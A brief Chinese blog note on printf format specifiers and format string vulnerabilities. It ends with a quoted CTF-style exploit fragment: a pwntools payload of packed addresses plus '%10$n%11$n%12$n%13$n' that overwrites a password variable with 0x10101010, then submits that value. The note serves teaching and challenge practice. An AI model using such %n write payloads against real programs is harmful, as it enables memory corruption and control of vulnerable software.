printf常见格式化字符串
%d 整型输出(signed int)
%o 八进制整型输出
%x 十六进制整型输出
%u 十进制整型输出(unsigned int)
%c 输出一个字符
%p 打印参数地址
%s 打印参数地址指向的字符串
长度控制
%d 4字节
%hd 2字节
%hhd 1字节
%ld 大于4字节
另:%n
%n 将当前已经打印字符的个数写入参数地址处(一次性写入4字节)
%hn 2字节
%hhn 1字节
%lln 8字节
$符号:指定占位符
%<整数n>$i : 指定输出第n个参数(如果该参数是整数,则i=d,以此类推)
如:%3$c 以字符型输出第三个参数
漏洞原理
最明显的直接printf(buf),此时如果输入%p等格式化字符串,很可能造成地址泄露
此时printf(buf)和printf("%p")等效
一些理解要点(照搬mr1bw师傅的博客)
addr1=0x804C044
addr2=addr1+1
addr3=addr2+1
addr4=addr3+1
payload=p32(addr1)+p32(addr2)+p32(addr3)+p32(addr4)+ '%10$n%11$n%12$n%13$n'
前面已经看出是第10个参数,p32打包完是4字节(p64一般是8字节),4个就是16字节,16进制为0x10。也就是说当前打印字符的个数为0x10,故'%10$n%11$n%12$n%13$n'就是分别向第10、11、12、13个位置的参数地址处写入0x10
所以最后的passwd直接就是0x10101010四个连在一块
第二次提交数据,记得要转化成字符串形式
r.sendline(str(0x10101010))
标签:输出,格式化,字节,p32,n%,漏洞,参数,字符串
From: https://www.cnblogs.com/V1V0/p/18316831